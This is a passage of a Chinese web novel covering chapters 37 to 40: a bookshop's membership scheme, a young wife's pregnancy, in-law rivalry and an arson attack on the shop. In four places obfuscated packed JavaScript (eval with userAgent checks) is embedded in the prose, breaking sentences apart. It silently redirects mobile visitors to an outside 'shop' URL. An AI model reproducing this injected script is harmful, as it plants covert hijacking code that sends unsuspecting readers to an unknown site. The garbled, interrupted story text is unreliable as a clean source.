曹掌柜见状连忙补充,“是这样的,我们东家说了,三甲书铺里的书大多不是拿来卖的,而是我们东家凭着人情从那些书的主人处借到的。书铺只有保管的权利,并无售卖的权利。” “诸位若是想看,有两个办法。” “一个是为我们书铺抄书,就像甄相公和其他两位相公一样,抄的书达到书铺标准,书铺自会给客人部分翻阅的权限。” “另一个办法则是出钱办理我们书铺的会员,凡是购买了会员的客人,可限时免费翻阅,部分书籍可外借。我们的会员分为‘天地玄黄’四个等级,黄字级会员可限时免费翻阅这五列书架的书,玄字级增加这五列,依次增加。” 牛大力听得一头雾水,以为曹掌柜是不想卖给自己,胡说糊弄他,他眼神不善地瞪着曹掌柜,“那我想要看这个书架上的书,要办什么会员?” 曹掌柜看着那列专门用来存放顾承宴的书的书架,笑着伸出两根手指。 “同样是两个办法;一是有应届考生学子的身份,在书铺抄书够多,获得书铺认可,可免费借阅。二则要拥有书铺天字级会员,不多,只需三百两!一个月。” “三百两?!” 牛大力突兀的叫声吸引了书铺内其他人的目光,他满脸不忿,越发认定了曹掌柜是看不起他,刻意刁难他。 “三百两你怎么不去抢?就是天书也不值这个价!!!” 面对他的不屑,曹掌柜面色不变,这种情形叶青漓早就预设过,也教过他解决的办法。 他自信立于人群中,淡定自若笑了笑,“说是天书有些过了,不过三百两却并非随意叫价,要知道今科前三甲可都看过这书架上的书!” 剩下的曹掌柜没再说了,叶青漓说过,有些事情说得太清楚就是虚假宣传。 甄良义三人的确看过这书架上的书,可是没人知道这些书在三人金榜题名的路上起了多大的作用! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996822|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >书铺不敢随意承认,客人们也不敢随意否认! 前三甲都看过的书,是他们看过这书才成了前三甲,还是本来就是前三甲刚好看过这些书? “敢问掌柜的,迄今为止到底有多少人看过这些书?” 曹掌柜略微思量一番,肯定道:“除了书的主人和我家东家,就只有甄相公三人了!” “掌柜的管理整家书铺,竟也没看过吗?” 曹掌柜呵呵一笑,“这是我们东家特意为参加科举的学子准备的书,我又不考试,看它干嘛?!” 说者无意,听者有心! 书铺东家专门为科举之人准备的书,甄良义三人看过后就中了前三甲,这不是天书是什么? “掌柜的,我要办会员!天字级的!” “我也要办!快!” “先给我办!” “我,我也要!” 很快有越来越多的人反应过来,争着抢着要办理天字级的会员。 曹掌柜看着这番景象,直乐得合不拢嘴! 叶蕙珠隔着车帘听见对面街上书铺里热闹的声音,心中满是不甘! 凭什么一场科举下来,叶青漓什么都不用操心,她的铺子声生意还更加火爆了?! “娘子?娘子?” “干什么?!” 沈仕楣望着突然发火的叶蕙珠,脸色难看一瞬。 今日是他金榜题名的好日子,自己好心好意与她商量事情,她一直走神也就罢了,还用这种态度与自己说话,她眼里还有没有自己这个相公? 然而想到自己要说的话,沈仕楣眼底的不悦隐了下去,他压低声音轻柔道:“我只是想问问娘子,如果咱们设宴的话,要不要送请帖到顾国公府去,毕竟……” “送什么送?不过一个义女,捡了我不要的婚事才飞上枝头变凤凰,难道请她来看我的笑话吗?” 沈仕楣脸色越发难看几分,听叶蕙珠的话,似乎对这桩婚事还有几分不满?可是当初明明是她自己上赶着要嫁给自己的不是吗?她现在又在自己面前不满什么?! 沈仕楣也是个有脾气的人,两人婚后几乎大部分的事情都是自己处处忍让,可是叶蕙珠身为人妇,不仅一点都不知道体谅自己的不易,反而处处找自己的不是。要不是看在自己还需要她给自己请名师指点的份上,他早就对她冷脸了。 今日两人一起来看成绩明明是件好事,她却又忽然大小姐脾气发作,实在不可理喻! 从前自己一心放在考试上,才无心与她计较,如今自己已经中了榜,不日就要授官,难道还要日日听一个女人呼来喝去吗? 沈仕楣越想越气,脸色也冷得吓人。 叶蕙珠喝了一句后,也意识到自己的不对,正等着沈仕楣给个台阶,两人和好后欢欢喜喜回家,却发现坐在身边的男人合上双眼,一言不发,一副不愿搭理自己的样子! 叶蕙珠更恼了!郁气和不甘一股脑冲上头,气得胸膛起伏不迭。 他怎么敢这么对自己?! “你……啊……!” 她张嘴就要教训,忽觉身下传来一股剧烈的疼痛,瞬间满头大汗弯下腰。 沈仕楣察觉不对,睁开眼睛,看见叶蕙珠痛苦不已蜷缩着身子在马车角落里,瞬间慌了神,“娘子,娘子你怎么了?” 叶蕙珠捂着肚子,两眼发黑,“疼……疼!” “疼?哪疼?娘子别怕,我们去找大夫!”沈仕楣忙抱住她冲车夫大喊,“快,去医馆!” 38. 有喜 幸而,医馆就在不远处。 沈仕楣将叶蕙珠抱下马车飞奔向医馆,大夫见他怀里的人满头大汗脸色惨白,忙放下手里的病人前来问诊。 在一阵心惊肉跳后,沈仕楣才听见大夫皱着眉头缓缓道:“夫人怀着身孕,身体康健,本无大碍。只是心绪不佳,燥火太盛,郁气瘀堵,有些动了胎气。待老夫开一方安胎药,回去喝了,好好休息,便也无事了!” “大,大夫,你说什么?我家娘子有喜了?” 沈仕楣难以置信地看着大夫,脑中满是得知叶蕙珠有孕的雀跃! 叶蕙珠闻言也十分震惊,她一向小日子不怎么规律,嫁人之后又一直在为沈仕楣科考奔波,竟连自己怀孕都不知道! 大夫瞧见两人年纪轻轻,四目懵懂的样子,便又细细说道:“你们没听错,是有了两月身孕。只是如今胎相不稳,夫人又心浮气躁动了胎气,后边还要修身养性,好好调理才是!” 得到肯定的回答,叶蕙珠也不生气了,沈仕楣也不敢给她甩冷脸了。 他紧紧握着叶蕙珠的手,语气颤抖,“娘子,刚才都是我不好,惹了你生气,你原谅我好不好,以后我都不会再让你动气了!” 叶蕙珠看着他终于道歉,傲娇地抬了抬头,本要和以往一样再多气一会让他知道轻重,却忽然想到大夫的话,这才缓和脸色。 “你知道就好!如今我怀了孕,你可不许再烦我!” 沈仕楣连忙伸手发誓,“一定!一定!” 大夫看见这对年轻的夫妻和好,眼底闪过几分笑意,将安胎药的药方写好后递给两人,拿了银子就准备回去继续看其他病人。 怎料沈仕楣忽然叫住了他,“大夫,可能诊一诊我家娘子腹中怀的是男是女?” 老大夫脸上的笑瞬间挂下去,叶蕙珠嘴角的笑意也淡了几分。 “你问这个做什么?不论是男是女不都是我们的孩子吗?” 沈仕楣连忙解释,“我是给娘问的,她最是看重这个,若是提前知晓了,也能让她提前高兴几个月不是?” 叶蕙珠闻言,想到裘氏新婚之夜闹的那一场,最终没再说什么。 老大夫听完两人的对话,却瞬间冷起脸,“老夫学艺不精,看不出性别,两位还是去找别人吧!别在这杵着挡了别人看病!” “哎,大夫!” 沈仕楣还要多问,叶蕙珠却把他拦下,“好了,这种事等以后孩子出来不就知道了,我觉得身子有些不舒服,我们还是快回家吧!” 看着叶蕙珠娇嫩的脸上浮现一丝疲累,沈仕楣也不敢耽搁,忙又把人抱上马车,带着金榜题名的欣喜和初为人父的喜悦回了沈家。 * 榜单名次出来的第一日,曹掌柜就凭着自己的三寸不烂之舌卖出了四十多份会员名额,给叶青漓创造了不少的收入。 叶青漓看着曹掌柜送上来的账单,笑得合不拢嘴。 “采莲,让阿桥传信给曹掌柜,就说可以进行下一步计划了!” “是。” 曹掌柜这边得到消息,立刻带人找到甄良义三人。 三人自中榜之后便一直备受关注,之前租赁的院子也不敢再住,而是住到了曹掌柜为他们安排的地方。 当然,这也是叶青漓提早就准备好的。 曹掌柜携礼登门,甄良义三人见了心中微有些惊讶,想到曹掌柜是商人后,便也很快接受。 待听完曹掌柜的来意后,三人又是大吃一惊! “曹掌柜的意思是,希望我们写一本书留在书铺?” “可以是书,可以是文章,又或是诗句,甚至可以只是一个字!”曹掌柜悠悠道来,胸有成竹,“三位在书铺的时间不短,想必也看出我们三甲书铺与别家书铺的不同。铺子里的书大部分是不能卖的,而几位在临近科考前看过的那些书也是我们家东家从别处淘来的。” “书的主人没有变,只是暂时存放在三甲书铺进行管理,若有人借阅产生利润,便依契书规定每月交给主人一部分银钱。” 曹掌柜看着三人惊讶的样子,和自己初次听见这计划时如出一辙,不由得再次感慨叶青漓的聪慧。 “几位如今中了前三甲,不出意外殿试之后便是板上钉钉的状元,榜眼,探花,虽说每三年都会出这么三个人,可是三人都是英俊少年的可不多,而今三位年纪轻轻便同时中榜,将来必定前途不可限量。” “在书铺留下墨宝,一来可以有份收入,完成从书生到官场的过渡,二来也可给之后的学子们一份参考,将来同朝为官,也是一份缘分!” 曹掌柜说得有条不紊,在三甲书铺留下墨宝,似乎有利无害! 三人不由得都有些心动,毕竟他们都不是大富大贵之人,当初之所以来三甲书铺,就是看中了他抄书的那份银子。 其中两人不约而同看向甄良义,说起来,虽然甄良义是三人中岁数最小的,可他在这方面的经验要比他们多得多! 甄良义也很动心,他不是生来就家贫,自幼过惯了衣食富足的生活,这几年的风餐露宿也让他很是难熬。 如今三甲书铺提供这样一个挣钱的路子,若是自己不出意外做了状元,这份收益只多不少! 他想了想,对着曹掌柜道:“掌柜的提议很好,我也很是动心,可一朝为官需要注意的东西便更多,若是我将自己的文章放在书铺售卖,对我的官声不知是否会有影响?” 毕竟士农工商,他们好不容易靠着自己走上‘士’的道路,若为了一点银子便与‘商’牵连至一处,实在得不偿失! 甄良义忧虑的地方,叶青漓也早就替他想过了。 曹掌柜仔细回忆着当初叶青漓交代的画面,一字一句道:“甄相公的顾虑很对,不过我们东家也说了,三甲书铺背靠顾国公府,大多数书籍并不售卖,几位将文章放在书铺,更不必担心它们会和集市的青菜一样任人挑选。在三甲书铺,永远都是书来挑选客人,达不到要求的客人是看不到几位的文章的。” “东家说,这个叫,奇货可居!” “就像书铺里那几本不轻易让人翻阅的书一样?” 甄良义指的是顾承宴放在书铺的书,除了他们三个,目前并没有其他人看过。 曹掌柜点头。 这下,甄良义几人的眼神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997675|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又亮了几分。 若是能将自己的文章和那位先生的放在一起,实在是人生大幸! “好,我答应你!” 另外两人见甄良义同意,也跟着点头。 而后几人准备开始写文章,却被曹掌柜阻拦。 “几位不必着急,殿试近在眼前,还是先准备殿试更为重要,若是殿试之后,三位还没改变心意,三甲书铺随时欢迎几位前来。” 说着,他指了指自己带来的礼物,“我家东家知道几位即将殿试,略备了一份薄礼,稍后我离开,几位尽可一观。” 说罢,他便带着人先离开了。 甄良义三人见他神神秘秘的样子,越发对那份礼物好奇起来。三人对视一眼,将礼物拆开,看见里面的东西后,眸色复杂良久。 廉文轩:“这位叶东家可真是位妙人!” 詹德义:“是啊!” 甄良义:“看来叶东家诚意十足!” 三日后,当甄良义三人穿着叶青漓为他们量身定制的衣服出现在殿试场上时,几乎所有人的目光都被三人吸引。 科举考试中,屡试不中者众多,这也造就了同一考场上会有墨发青年,也不乏华发老者。而今这殿试场上,如甄良义三人一般年轻的没有他们考得好,文采与他们不相上下的,却远不及他们风华正茂,意气风发。 不仅是一同参加殿试的考生,就连龙椅上的圣上,看着坐在最前面三个气质独特的青年才俊也笑弯了眼睛。 “坐在最前面的三个就是此次考试的前三甲?” 新任礼部尚书闻言连忙颔首,“正是。” “嗯。”圣上点了点头,“少年英才,前途不可限量啊!” 闻言,熟悉圣上脾性的便知这三人将来必将受到重用! 如今圣上年迈,虽身体依旧康健,却早不及年轻时候,许多大事顾及不来便交给太子处理。今次这批考生,将来大多也都是给太子留下的班底。圣上如此看重这三人,想来是要重用他们,给太子做帮手了。 正在埋头写题的三人还不知道,自己身穿的一身衣服,给自己加成不少,更不知,将来他们会有怎样的造化。 殿试之后,甄良义被定为状元,廉文轩为榜眼,詹德义做探花。三人和曹掌柜签下契书,又各自将包含所思所想的一篇文章写下,这才拿着曹掌柜给的银钱离开了三甲书铺。 得益于三人留下的墨宝,办理书铺会员的人越来越多,众人看过三甲书铺的书后,全都赞不绝口! 口碑越好,客人越多,客人越多,口碑越好,如此良性循环,没过几天,三甲书铺就在整个京城出了名。 叶青漓每日过着躺着也数钱的日子,开心得不得了。 不想,自己也有乐极生悲的时候。 这日请安,于婉婉便趁着众人都在的功夫好奇问向叶青漓,“上次听夫君说最近京城有个叫‘三甲书铺’的铺子,里面的书只要看过的学子便能中榜。夫君带我去看时,我刚好看到大嫂也在,大嫂可是替大哥去的?” 闻言,一直在和辛氏念叨备孕事宜的赵氏瞬间警觉,凌厉的眼神霎时间落在叶青漓头上! 39. 忌惮 提起顾承宴,霎时间,就连一直心不在焉的申氏和郑氏也不约而同望了过来,两人目光中是如出一辙的紧张,只比赵氏少了几分阴狠。 叶青漓环视一周,屋内氛围已经悄然变得紧绷起来,似乎所有人都怕顾承宴忽然改变主意,参加科举。唯有于氏对这变化恍若未闻,依旧好奇地看着叶青漓。 叶青漓淡然自若,“三甲书铺里卖的都是和科举有关的书,夫君一心修道,又不事科举,怎会让我去那替他买书?我去书铺是有别的事。” 叶青漓解释得很清楚,可在场诸人还是十分紧张,毕竟顾承宴的身份得天独厚,一旦他稍微改变主意,以顾国公看重嫡长子的脾性,将来这顾家的主人可就得换个人了。 赵氏尤其不相信叶青漓的话,自从顾承宴娶妻之后,留在顾国公府的时间比之前十年都要多,整个人也发生了巨大变化。 谁知道他是不是娶妻之后忽然想要回顾家呢? “既然不是为承宴去的,你在那书铺做甚?”赵氏敛着眉心,眼底闪过一抹恶毒,“你如今已经是我们顾家的儿媳,行事也要注意章法,书铺里多是男子,你一个已婚妇人在那里进进出出,成何体统?!” 内宅争斗最常用的手段就是泼脏水! 这方法简单好用成本低,只需要轻轻松松一张口,便能给人按个罪名。万一那妇人是个性子刚烈易较真的,只怕脱下一层皮才能换来一份清白。万一失败,只需说是一场误会便万事俱休。 叶青漓上一世就见识过这种手段,刚才赵氏一句话就给叶青漓扣了个妇德不修的罪名,放在一般家庭,即使叶青漓什么都没做,也会惹来夫君不喜和其他人白眼。 幸而她从来不将这种事情放在心上。 叶青漓她淡淡地看了赵氏一眼,“婆母容禀,那书铺乃是我的陪嫁,我去那只是例行公事看账本的。” “什么?”于婉婉惊讶地站起来,“那个内容一甲,东家一甲,运道一甲的三甲书铺竟然是大嫂的陪嫁?” 郑氏见于婉婉神情激动非常,忍不住好奇问道:“五弟妹,你说得这什么,什么一甲是什么意思啊?” 于婉婉平复了下心情,接着道:“我听夫君说起过,此届科考前三名皆在三甲书铺拜读过,而后三人一同中榜!人人都说,他们是看过了三甲书铺里天字级的藏书才中榜的!” “而今外面都在传,说三甲书铺有三甲:首先是内容一甲,其内藏书精妙无穷,只要参透,必能中榜;再有是东家一甲,三甲书铺的东家既给学子们体面的挣钱方式,还免费教人读书,实在是天底下最好的东家;最后也是最最重要的是运道一甲,他们说只要去过三甲书铺的人都能中榜!此届榜单上十之五六的人都曾去过三甲书铺,更加印证了这一点!” “竟有这种事?” 郑氏一脸惊诧地看着叶青漓,眼神里却透露着怀疑,显然不相信这个整日只知道逛街玩乐的大嫂,竟然能开出这种铺子。 一向假装自己不存在的申氏听完于婉婉的话,也有些好奇地多看了叶青漓两眼。 辛氏和赵氏更加不加掩饰,一个挺着肚子斜睨了叶青漓一眼,并不相信叶青漓有这么大能耐,一个则脸色阴沉,眸色晦暗地看着叶青漓,叫人后背发凉。 “我竟不知,青漓还有这个本事?你怎么从未与我说起过?”赵氏冷不丁开口,平静的语气下暗藏着与嫉妒交织,浓郁到极点的愤怒。 叶青漓浅笑一记,“不是什么大事,没必要特意在婆母面前说一嘴。” “怎么不是大事?” 于婉婉激动得眉飞色舞,甚至已经忘了这是在赵氏的院子里,“夫君说如今三甲书铺声名远扬,即便是京城之外的读书人都知道有这样一间书铺了!若是铺子里的藏书真有这么精妙的话,那天下读书人岂不趋之若鹜?” “趋之若鹜啊!”赵氏冷冷重复,犀利的眼神在叶青漓身上来回扫过。 叶青漓很满意三甲书铺有如今的名气,可她并不希望有人在赵氏面前大肆夸赞,这不仅不能让自己赚到更多的银子,还会给自己带来麻烦。 顾国公府五个公子中,只有五公子顾承泰对科考之事十分感兴趣,虽然从未下过一场,但每届都会极度关注,于氏受他影响知道这些并不奇怪。 若非如此,叶青漓几乎要以为今日于氏是故意在赵氏面前说起这些。 “五弟妹言重了!”叶青漓泰然自若,“书铺里的书都是再普通不过的,今科前三名也都是凭着自己的实力得到各位考官和圣上的认可,三甲书铺只是是沾了他们的光才红火一段时间,等科考的热度下去,它便只是一间平平无奇的书铺罢了!” “若我的书铺真有传言中说得那么神奇,又怎会到如今才被人知晓?” 叶青漓越是镇定,赵氏心里就越是觉得不对劲。 只是这样问是问不出什么的,她表面上没再多说什么,等请安散了后,立刻派人去了三甲书铺。 叶青漓并不知道赵氏之后的动作,可凭她与赵氏短暂的交锋来看,赵氏最后看向她的绝不是善罢甘休的眼神! 她在屋里想了一会,叫来采莲。 “让你弟弟跑一趟书铺,树大容易招风,叫曹掌柜多注意着点,别着了别人的道!” “小姐的意思是有人要对书铺不利?” “我暂时也不能确定,不过小心防备着总没什么坏处!科考的热度还没散,如今书铺正是生意最火爆的时候,我知道曹掌柜他们也累了许久,等这阵过去,便让他们好好休息!” “是。” 赵氏的人很快去而复返,不仅证实了于氏所说传言非虚,还给她带来一个更加震惊的消息。 “三百两?!”赵氏一手按在桌上,努力平复自己震动的内心! “是,奴才特地打听了,这书铺怪得很,大部分书不能买,只能看,还得办了会员才能看!三甲书铺共有‘天地玄黄’四个等级的会员,每个等级费用不等,级别最高的天字级是三百两一个月,地字级一百两,玄字级五十两,黄字级十两。奴才去的时候书铺里正有不少人在办理会员,虽然天字级的没有几个,可是玄字级和黄字级的有不少!” 作为手握国公府中馈十多年的掌家主母,赵氏清楚地知道顾国公这么多年每个月的花销,可是却远远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009695|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比不上这间书铺一天的收益! 那可是整整三百两啊! 一个人一个月是三百两,一年就是三千六百两,十个人就是三万六千两! 一个呼吸的功夫,赵氏已经将三甲书铺一年的收益都盘算出来,她想到脑海中那串金光闪闪的数字,呼吸越发沉重起来。 如果叶青漓一间书铺就能有如此高的收益,那自己这间顾国公府又算什么?以如今三甲书铺的名声,只要下一届再有中榜之人看过三甲书铺的书,那它这三甲之名便被彻底证实! 长此以往,这书铺岂不真要让天下读书人趋之若鹜了!!! 顾承宴的妻子怎么能有一间这样的铺子?! 赵氏胸膛起起伏伏,她坐在原地,缓了半天静下心来,眸色沉了又沉,最后目光落在一旁火力正盛的暖炉上。 “你去替我做件事!” * 科考之后,三甲书铺一站成名! 曹掌柜每日忙得脚不沾地,冲着前来办理会员的客人笑得脸都僵了。 今日天阴,店外刮着大风,街上行人被大风卷得行动不畅,纷纷回家躲避。 曹掌柜瞧这情形,吩咐店中伙计将大门关起,免得大风吹乱了书架上的书。他也终于迎来一时半刻休息的时间,轻轻揉着自己发僵的两腮。 恰在此时,一个身形单薄的书生顶着两本书迎着狂风冲到门前,隔着最后一个门板问道: “外面的风太大了,掌柜的我能在此歇一歇吗?” 曹掌柜见他是个书生,抬手放他进来了。这书生倒是懂得享受,道谢之后便自顾自走到暖炉旁坐下,搓着手取暖。曹掌柜随意瞧了一眼,见他暖和后迎着火炉开始看书,便不再关注。 正值三月,隆冬湿冷已散,初春阴寒未消。外面寒风呼啸,打着一个又一个卷,铺子暖炉里的木炭烧得通红,到处都暖洋洋的。 铺子里的伙计们跟随曹掌柜一起忙碌了这许多日,如今好不容易有个清闲日,都安安静静休息。或倚在门边伸个懒腰,或靠着书架合上眼睛,或扶在柜台边悄悄打个盹,整个书铺瞬间进入一阵奇异的困乏的安静。 就连曹掌柜,一直埋头在这么安静的氛围下记着账本,也不由得打了个哈欠,他一个抬头,忽然注意到暖炉边的书生好像不见了? “咦?” 曹掌柜揉了揉眼睛,再次确认,暖炉旁确认一个人都没有。 “人呢?”他叫醒身边打盹的伙计,“你看见刚才那个书生出门了吗?” 伙计惺忪着双眼,摇头,“没有。” “你们看见方才那人了吗?” 曹掌柜抬高了声音,铺子里的伙计闻言纷纷摇头,更有人不满意地翻了个身,换了个更舒服的姿势靠在书架上,“也许是自己走了吧,今日风这么大,早点回家早点安心。” 曹掌柜问不出结果,只好摇头作罢,铺子里每日进进出出这么些人,总有几个自己没注意就离开的。他提起笔正要继续写账本,鼻尖忽然嗅到一股奇怪的焦糊味,顺着味道看过去,似乎是二楼传来的。 曹掌柜当即脸色大变,“坏了!” 40. 纵火 曹掌柜急匆匆登上二楼,看见本该在楼下躲风的书生拿着几张烧着的纸,正往书架上丢!微弱的火苗接触到干燥的书页,顷刻间将整个书架吞噬,茁壮成长到一人高度! “你在干什么?!” 曹掌柜大喝一声,那书生听见动静,立刻将手中最后一点纸屑丢进火中,头也不回地跳窗逃开。 “站住!” 曹掌柜顺手抄了本书,直接砸中那人后脑,可那人脚下未曾停顿片刻,跳下窗后就跑远了! “来人!快抓住他!” 曹掌柜朝下大喊一声,底下的伙计听见动静立刻飞奔出去。 而他抬腿要追时,却被眼前忽然腾起的大火拦住去路,无奈之下,他只好叫来店中伙计灭火。 一铺子的人手忙脚乱了好一阵,终于浇灭最后一点火星。 一场别有用心的火灾之后,书架已经烧得支离破碎,书页被烧成粉末,化作黑烟附着在铺子内每个人脸上! 前去追拿凶手的伙计也在这时喘着粗气回到铺子,“掌柜的,没追上。那人跑得太快尽往人堆里扎,我追了他两条街,最后还是追丢了!” 曹掌柜大失所望,看着面前的狼藉,咬了咬牙道:“得把这事告诉东家!” “可是掌柜的,铺子里出了这样大的事,东家知道了必要生气的!” “生气也要说!” 曹掌柜懊悔又自责,“咱们都是从浆麻铺一起过来的,从前过得是什么日子大家应该都还记得!如今书铺生意好,都是东家的功劳,大家能相聚在此处,也是东家心善,愿意给你们读书识字在铺子打杂的机会。” “东家前几日提醒过我要小心旁人暗算,是我大意了,才会将那贼人放进来!我不能再辜负东家对我的信任!” 曹掌柜毅然决然,已经做好了要被叶青漓辞退的准备。 谁知他派人将此事告知叶青漓后,叶青漓不仅没有责备他,还亲自来到书铺安慰他。 “只有千日做贼哪有前日防贼的,有人要害你,躲是躲不过去的!”叶青漓站在被烧成灰烬的书架前柔声说道。 曹掌柜闻言却是老泪纵横,“都是我不好,东家明明提醒过我,我却还是遭了旁人的算计!若是我再警醒一点,小心检查那书生的身份,也许就不会发生此事了!” “咱们是开门做生意的,你又不可能把每个客人都检查一遍。”叶青漓绕着被烧成灰的地方转了一圈,目光落在其他书架上,“喏,你这不是做得很好吗?” “书架之间相隔很远,暖炉更是设在空处。还考虑到着火问题都用铁笼护起来,铁笼上还有个盖子,没有钥匙的人打不开,也就无法直接将暖炉里的炭火倒出。你说他那日拿了两本书,想来就是隔着铁笼的缝隙先点燃了自己带的书,才引燃咱们铺子的书吧?” 曹掌柜仔细回忆着那时看到的清醒,点了点头。 “是,就是这样!” 叶青漓继续道:“一楼人多,他不敢动手,便悄悄跑到二楼,想要伪造成暖炉失火导致火灾的假象,却发现暖炉被锁住,根本推不倒,只好先点着自己的书。这一耽误,便给了你发现的时间,你又救火及时,这才只烧掉一个书架。” “曹掌柜,你已经做得很好了!” 叶青漓说得是认真的,哪怕是换她来守着这家店,也未必能做到曹掌柜这般小心谨慎。 可曹掌柜却只觉得叶青漓是在安慰自己,“哪里就做得好,那么多书都被烧了,不仅有学子们抄写的,还有,还有几本东家您私人收藏来的书……” 叶青漓已经确认过,顾承宴的书和今科前三甲留下的文章都好好保存着,被烧掉的都是自己之前收藏来的五花八门的书,对科举考试未必有大用。 “你说得对,抄的书也就罢了,那些原件才是贵重的东西,书铺无端遭人纵火,毁损重要物品,这等大事,是该报官!” “报,报官?!” 曹掌柜瞪大了眼睛,铺子被烧这么久以来,他可一次都没想过报官! 不只是因为报官后事情会更麻烦,闹大了影响不好,还因为…… “咱们都没看清那人的脸,就是报了官也抓不到啊!” 叶青漓却忽然笑起来,“没关系,我报官也不是为了抓住凶手,而是做给某些人看的。” 曹掌柜:“?” 在叶青漓的一力坚持下,曹掌柜带人去报了官。 官府的人本不想将此事放在眼里,奈何如今三甲书铺风头正盛,忽然报官被人恶意纵火,瞬间引起许多人的注意。 除了那些名不见经传的书生外,还有许多朝廷中的大人也十分感兴趣,再加上叶青漓顾国公府的背景,他们不敢不认真办案! 官兵带人气势汹汹来到三甲书铺勘察现场,又将书铺里所有人都问了遍话,尤其是凶手的样貌问询得尤为仔细,当天,店内所有客人都知道了书铺被恶意纵火一事。 本来一场小火,被叶青漓这一闹,不过两日就传得人尽皆知。 众人闻听书铺被人纵火,不仅没有避之不及,反而更加认定三甲书铺内藏着真东西,才招来他人惦记,前来办理会员的人比之前更多! 事情传得太开,就连顾国公府内的几个少奶奶也有所耳闻。 自从得知三甲书铺是叶青漓的产业后,几人哪怕表面上不说什么,背地里都悄悄打探过一番。还没感叹完这铺子的赚钱能力,倒是先听说了书铺被烧。 郑氏第一个送上关怀,“大嫂,我听说你那间书铺前两日被人烧了,不要紧吧?损失可严重?” 她一挑起话头,其他几人也跟着转过目光。 叶青漓和几人对视一眼,忽然揉着手帕哀怨不已,“如何不严重?” “我的书铺可全指着那些藏书吸引客人,如今被烧掉大半,损失惨重不提,甚至一些天字级客人的藏书也被烧掉,将来若有客人要看书,我却拿不出,还要赔一大笔银子呢!” 几人私下都打听过书铺的会员售价,知道天字级要三百两一个月,如今书铺被烧,叶青漓之前赚了多少,后续就要赔出去多少,实在倒霉! 叶青漓在几人面前一向是最能忍的,无论是说她与顾承宴未曾圆房,还是提到要给顾承宴纳妾,她都未曾这般伤心。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023529|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一向不怎么开口的申氏,瞧见她这般情态都忍不住道,“事情已经发生,再说旁的也于事无补,万幸没有出现伤亡,大嫂安心做生意,时间久了,总能赚回来的。” “那可是我辛辛苦苦经营了好久才做起来的铺子,还没赚到钱就要赔钱,我这心里苦啊!”叶青漓拿帕子用力捂着眼睛,哭得更大声。 申氏平常就不怎么与她们说话,如今看着叶青漓哭得凄惨不已的样子,更是不知如何安慰。 叶青漓透过指间缝隙瞧了一眼,捶胸顿足道:“自从得知书铺被烧后,我便满脑子都想着这事,不光睡不好,就连吃都吃不下,整个人都瘦了一圈!” 说到吃,申氏忽然有了主意,“若是大嫂不嫌弃的话,不如一会我做些糕点送到蔚莲阁,大嫂还是要先照顾好自己的身子!” “这怎么好意思?”叶青漓飞快擦了擦眼角不存在的泪水,笑望着申氏,“那就多谢二弟妹了!” 郑氏瞧她这副样子,忍不住嗤了一声,“大嫂方才还哭得不行,怎么现在听见有吃的就好了?莫不是在骗我们吧?” 叶青漓毫不客气地冷眼扫向她,“二弟妹说得对,此事已矣,我想再多也是于事无补,不如养好身子,想想怎么尽早抓到行凶之人!” 于氏听到此处越发好奇,“我听说大嫂已经报官,官府的人也去调查过,这都过去好几天了,还没抓到凶手吗?” 叶青漓幽幽长叹口气,“哎!哪是那么容易抓到的,那凶手有备而来,进店后全程没叫人看清他的脸,纵火后又飞快逃走,一点痕迹都不留。” 她摊了摊手,“抓不住啊!” 闻言几人看向叶青漓的眼神越发同情起来,虽然前几日大家都有些羡慕或是嫉妒书铺的红火生意,可树大招风,说得就是如此! 赵氏听着几个儿媳的谈论,眸底寒光一闪而过,端起一旁的茶盏,勾着唇角轻轻吹了口气。 待要喝时,却听叶青漓忽然道:“不过幸好,我那掌柜是个聪明的,临走前在那人身上撒了一把用来防止虫蛀的香粉!” “这香粉无色无味,遇水不掉,却能轻易被官府的狼犬闻见,只有阿魏①的浓郁气味能掩盖。我已告知府衙,请他们在书铺四周查找,想来再过几日就能有结果了!” 几人闻言忙宽慰,一定能尽快缉拿凶手。 叶青漓也笑着说道:“谋财害命,无外乎杀人放火!此人如此嚣张,哪怕官府抓不到她,将来也必遭报应!” 